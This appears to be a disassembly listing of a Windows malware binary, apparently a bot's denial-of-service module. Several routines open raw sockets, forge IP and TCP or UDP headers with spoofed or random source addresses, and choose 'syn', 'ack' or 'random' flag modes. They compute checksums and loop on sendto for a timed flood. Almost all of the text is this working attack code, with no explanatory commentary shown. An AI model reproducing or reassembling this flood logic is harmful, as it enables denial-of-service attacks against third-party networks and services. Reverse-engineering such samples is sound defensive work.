		mov	[ebp+var_1E], ax
		call	dword_4CB9E4	; htons
		mov	[ebp+var_22], ax
		mov	[ebp+var_1C], bl
		call	sub_41C2C2
		push	0Eh
		cdq
		pop	ecx
		idiv	ecx
		push	14h
		mov	al, byte ptr [ebp+edx*4+var_88]
		mov	[ebp+var_1B], al
		mov	eax, [ebp+var_C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_24]
		push	14h
		push	eax
		push	[ebp+var_8]
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_98]
		push	10h
		push	eax
		push	0
		push	esi
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_4CBA48	; sendto
		jmp	loc_4148C1
; ---------------------------------------------------------------------------


loc_4149A7:				; CODE XREF: sub_4147A6+12Cj
		push	[ebp+var_8]
		call	sub_41BA91
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CBA7C	; closesocket
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4147A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4149C1	proc near		; DATA XREF: sub_401ACD+5306o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_4270B0
		call	edi	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA64	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_414A8A
		call	dword_4CB978	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_437C2C
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414A6A
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409869
		add	esp, 14h


loc_414A6A:				; CODE XREF: sub_4149C1+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415D38
		push	[ebp+var_BC]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_414A8A:				; CODE XREF: sub_4149C1+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_4CB9C4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414B08
		call	dword_4CB978	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_437BF4
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414AE8
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409869
		add	esp, 14h


loc_414AE8:				; CODE XREF: sub_4149C1+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415D38
		push	[ebp+var_BC]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_414B08:				; CODE XREF: sub_4149C1+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4CBA24	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414B78
		lea	eax, [ebp+var_440]
		push	offset unk_437BD4
		push	eax
		call	sub_41C266
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_414B58
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409869
		add	esp, 14h


loc_414B58:				; CODE XREF: sub_4149C1+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415D38
		push	[ebp+var_BC]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_414B78:				; CODE XREF: sub_4149C1+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_4CB9E4	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4CBA24	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax


loc_414BB0:				; CODE XREF: sub_4149C1+430j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_414E74
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_4CB9E4	; htons
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_414C23
		call	sub_41C2C2
		mov	esi, eax
		shl	esi, 8
		call	sub_41C2C2
		add	esi, eax
		shl	esi, 8
		call	sub_41C2C2
		add	esi, eax
		shl	esi, 8
		call	sub_41C2C2
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_414C39
; ---------------------------------------------------------------------------


loc_414C23:				; CODE XREF: sub_4149C1+233j
		push	[ebp+var_240]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA24	; inet_addr
		mov	[ebp+var_20], eax


loc_414C39:				; CODE XREF: sub_4149C1+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_414C57
		call	sub_41C2C2
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_414C5D
; ---------------------------------------------------------------------------


loc_414C57:				; CODE XREF: sub_4149C1+284j
		push	[ebp+var_B8]


loc_414C5D:				; CODE XREF: sub_4149C1+294j
		call	dword_4CB9E4	; htons
		mov	[ebp+var_16], ax
		call	sub_41C2C2
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB9E4	; htons
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_4CB9E0	; htonl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414CAD
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_414D09
; ---------------------------------------------------------------------------


loc_414CAD:				; CODE XREF: sub_4149C1+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414CCD
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_414D09
; ---------------------------------------------------------------------------


loc_414CCD:				; CODE XREF: sub_4149C1+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom_0 ; "random"
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414D09
		call	sub_41C2C2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_41C2C2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_414D09:				; CODE XREF: sub_4149C1+2EAj
					; sub_4149C1+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_4CB9E4	; htons
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_4CB9E4	; htons
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_4CBA48	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414DF6
		inc	[ebp+arg_0]
		jmp	loc_414BB0
; ---------------------------------------------------------------------------


loc_414DF6:				; CODE XREF: sub_4149C1+42Bj
		push	[ebp+var_4]
		call	dword_4CBA7C	; closesocket
		call	dword_4CB978	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_437B84
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414E54
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409869
		add	esp, 14h


loc_414E54:				; CODE XREF: sub_4149C1+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415D38
		push	[ebp+var_BC]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_414E74:				; CODE XREF: sub_4149C1+203j
		push	[ebp+var_4]
		call	dword_4CBA7C	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_437B34
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414EE5
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409869
		add	esp, 14h


loc_414EE5:				; CODE XREF: sub_4149C1+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415D38
		push	[ebp+var_BC]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread
sub_4149C1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F05	proc near		; CODE XREF: sub_41500F+19Ap
					; sub_41500F+1A9p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+arg_4], esi
		jle	short loc_414F31
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414F23:				; CODE XREF: sub_414F05+26j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414F23
		pop	edi
		cmp	eax, 1


loc_414F31:				; CODE XREF: sub_414F05+12j
		jnz	short loc_414F3E
		mov	al, [edx]
		mov	byte ptr [ebp+arg_4], al
		movzx	eax, word ptr [ebp+arg_4]
		add	esi, eax


loc_414F3E:				; CODE XREF: sub_414F05:loc_414F31j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
sub_414F05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F57	proc near		; DATA XREF: sub_401ACD+6C68o

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41C159
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4CBA24	; inet_addr
		push	eax
		lea	esi, [ebp+var_194]
		sub	esp, 194h
		push	65h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_41500F
		add	esp, 19Ch
		push	eax
		lea	eax, [ebp+var_394]
		push	offset unk_437C60
		push	eax
		call	sub_41C266
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_414FF2
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_409869
		add	esp, 14h


loc_414FF2:				; CODE XREF: sub_414F57+79j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_415D38
		push	[ebp+var_10]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
sub_414F57	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41500F	proc near		; CODE XREF: sub_414F57+54p

var_CC		= byte ptr -0CCh
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_A3		= byte ptr -0A3h
var_A2		= word ptr -0A2h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_63		= byte ptr -63h
var_62		= byte ptr -62h
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_52		= word ptr -52h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= word ptr -40h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_194		= dword	ptr  19Ch
arg_198		= dword	ptr  1A0h

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		push	ebx
		push	esi
		mov	esi, dword_4270B0
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_4], ebx
		call	esi	; GetTickCount
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_10], eax
		call	dword_4CBA64	; socket
		mov	[ebp+var_8], eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		mov	edi, 578h
		push	edi
		push	9
		push	1
		call	sub_418BD1
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	esi, 5A0h


loc_415069:				; CODE XREF: sub_41500F+235j
		call	dword_4270B0	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_198]
		ja	loc_415249
		cmp	dword_4CF190, ebx
		jnz	short loc_4150E8
		push	10h
		pop	eax
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_68]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB988	; getsockname
		push	0FFh
		push	1
		call	sub_418BD1
		pop	ecx
		pop	ecx
		push	eax
		movzx	eax, [ebp+var_62]
		push	eax
		movzx	eax, [ebp+var_63]
		push	eax
		movzx	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_CC]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_41C266
		add	esp, 18h
		jmp	short loc_4150FB
; ---------------------------------------------------------------------------


loc_4150E8:				; CODE XREF: sub_41500F+7Ej
		lea	eax, [ebp+var_CC]
		push	offset dword_4CEB70
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_4150FB:				; CODE XREF: sub_41500F+D7j
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_4CBA24	; inet_addr
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_58]
		and	al, 45h
		push	esi
		or	al, 45h
		mov	[ebp+var_54], 10h
		mov	[ebp+var_58], eax
		call	dword_4CB9E4	; htons
		mov	[ebp+var_52], ax
		call	sub_41C2C2
		mov	[ebp+var_50], ax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_48], eax
		mov	eax, [ebp+arg_194]
		mov	[ebp+var_4E], 40h
		mov	[ebp+var_4C], 40h
		mov	[ebp+var_4B], 6
		mov	[ebp+var_4A], bx
		mov	[ebp+var_44], eax
		call	sub_41C2C2
		mov	[ebp+var_40], ax
		call	sub_41C2C2
		mov	[ebp+var_3E], ax
		call	sub_41C2C2
		mov	[ebp+var_3C], eax
		call	sub_41C2C2
		mov	[ebp+var_38], eax
		mov	eax, [ebp+var_34]
		and	ax, 0FF50h
		push	14h
		or	al, 50h
		mov	byte ptr [ebp+var_34+2], 18h
		mov	word ptr [ebp+var_34], ax
		mov	ax, [ebp+var_3E]
		mov	[ebp+var_76], ax
		mov	eax, [ebp+var_44]
		mov	[ebp+var_74], eax
		lea	eax, [ebp+var_58]
		push	eax
		mov	[ebp+var_30], 787Dh
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], bx
		mov	[ebp+var_78], 2
		call	sub_414F05
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		call	sub_414F05
		mov	eax, [ebp+var_48]
		add	esp, 10h
		mov	[ebp+var_AC], eax
		mov	eax, [ebp+var_44]
		push	58Ch
		mov	[ebp+var_A8], eax
		mov	[ebp+var_A4], bl
		mov	[ebp+var_A3], 6
		call	dword_4271F4	; htons
		mov	[ebp+var_A2], ax
		lea	eax, [ebp+var_A0]
		push	14h
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_8C]
		push	edi
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_AC]
		push	598h
		push	eax
		call	sub_414F05
		add	esp, 20h
		mov	[ebp+var_2E], ax
		push	10h
		lea	eax, [ebp+var_78]
		push	eax
		push	ebx
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_4CBA48	; sendto
		inc	[ebp+var_4]
		jmp	loc_415069
; ---------------------------------------------------------------------------


loc_415249:				; CODE XREF: sub_41500F+72j
		push	[ebp+var_8]
		call	dword_4CBA7C	; closesocket
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41500F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41525A	proc near		; DATA XREF: sub_401ACD+4B97o

var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	edx, [ebp+arg_0]
		push	esi
		mov	eax, 85h
		push	edi
		mov	ecx, eax
		mov	esi, edx
		lea	edi, [ebp+var_214]
		sub	esp, 214h
		rep movsd
		mov	ecx, eax
		lea	esi, [ebp+var_214]
		mov	edi, esp
		mov	dword ptr [edx+210h], 1
		rep movsd
		call	sub_4152D1
		add	esp, 214h
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_437C94
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415D38
		push	[ebp+var_10]
		call	sub_40B6D6
		add	esp, 14h
		push	0
		call	dword_4270D4	; ExitThread
sub_41525A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152D1	proc near		; CODE XREF: sub_41525A+3Bp

var_254		= byte ptr -254h
var_54		= byte ptr -54h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_84		= byte ptr  8Ch
arg_104		= byte ptr  10Ch
arg_184		= byte ptr  18Ch
arg_208		= dword	ptr  210h
arg_20C		= dword	ptr  214h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		mov	ebx, 0FFh
		push	edi
		push	ebx
		push	3
		push	2
		call	dword_4CBA64	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jnz	short loc_41530F
		lea	eax, [ebp+var_254]
		push	offset unk_437E84
		push	eax
		call	sub_41C266
		pop	ecx
		xor	edi, edi
		pop	ecx
		jmp	loc_4155D8
; ---------------------------------------------------------------------------


loc_41530F:				; CODE XREF: sub_4152D1+22j
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_14], 1
		call	dword_4CB9C4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41533B
		call	dword_4CB978	; WSAGetLastError
		push	eax
		push	offset unk_437E34
		jmp	short loc_415356
; ---------------------------------------------------------------------------


loc_41533B:				; CODE XREF: sub_4152D1+5Aj
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4CBA24	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41536A
		call	dword_4CB978	; WSAGetLastError
		push	eax
		push	offset unk_437DF0


loc_415356:				; CODE XREF: sub_4152D1+68j
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_4155D8
; ---------------------------------------------------------------------------


loc_41536A:				; CODE XREF: sub_4152D1+77j
		push	edi
		mov	[ebp+var_24], 2
		call	dword_4CB9E4	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4271F0	; inet_addr
		mov	esi, dword_4270B0
		mov	[ebp+var_20], eax
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_437DC4
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+arg_20C], edi
		jnz	short loc_4153D3
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_4153D3:				; CODE XREF: sub_4152D1+E0j
		mov	[ebp+var_4], edi
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_41C159
		cmp	esi, eax
		pop	ecx
		ja	loc_41558E
		mov	esi, 41Ch
		jmp	short loc_415407
; ---------------------------------------------------------------------------


loc_415402:				; CODE XREF: sub_4152D1+2B7j
		mov	ebx, 0FFh


loc_415407:				; CODE XREF: sub_4152D1+12Fj
		cmp	dword_4CF190, edi
		jnz	short loc_415461
		push	10h
		pop	eax
		mov	[ebp+var_10], eax
		push	eax
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB988	; getsockname
		push	ebx
		push	1
		call	sub_418BD1
		pop	ecx
		pop	ecx
		push	eax
		movzx	eax, [ebp+var_2E]
		push	eax
		movzx	eax, [ebp+var_2F]
		push	eax
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_54]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_41C266
		add	esp, 18h
		jmp	short loc_415471
; ---------------------------------------------------------------------------


loc_415461:				; CODE XREF: sub_4152D1+13Cj
		lea	eax, [ebp+var_54]
		push	offset dword_4CEB70
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_415471:				; CODE XREF: sub_4152D1+18Ej
		push	esi
		mov	byte_4CED70, 45h
		call	dword_4CB9E4	; htons
		mov	word_4CED72, ax
		lea	eax, [ebp+var_54]
		push	eax
		mov	word_4CED74, 1
		mov	word_4CED76, di
		mov	byte_4CED78, 80h
		mov	byte_4CED79, 11h
		mov	word_4CED7A, di
		call	dword_4CBA24	; inet_addr
		mov	dword_4CED7C, eax
		mov	eax, [ebp+var_20]
		mov	dword_4CED80, eax
		lea	eax, [ebp+arg_84]
		push	eax
		mov	word_4CED8A, di
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jnz	short loc_4154E9
		call	sub_41C2C2
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_4154F7
; ---------------------------------------------------------------------------


loc_4154E9:				; CODE XREF: sub_4152D1+206j
		lea	eax, [ebp+arg_84]
		push	eax
		call	sub_41C159
		pop	ecx
		push	eax


loc_4154F7:				; CODE XREF: sub_4152D1+216j
		call	dword_4CB9E4	; htons
		mov	word_4CED86, ax
		call	sub_41C2C2
		cdq
		mov	ecx, 401h
		push	408h
		idiv	ecx
		mov	word_4CED84, dx
		call	dword_4CB9E4	; htons
		push	400h
		mov	word_4CED88, ax
		call	sub_41C2C2
		cdq
		idiv	ebx
		push	edx
		push	offset dword_4CED8C
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		push	esi
		push	offset byte_4CED70
		push	[ebp+var_C]
		call	dword_4CBA48	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_415607
		inc	[ebp+var_4]
		call	dword_4270B0	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
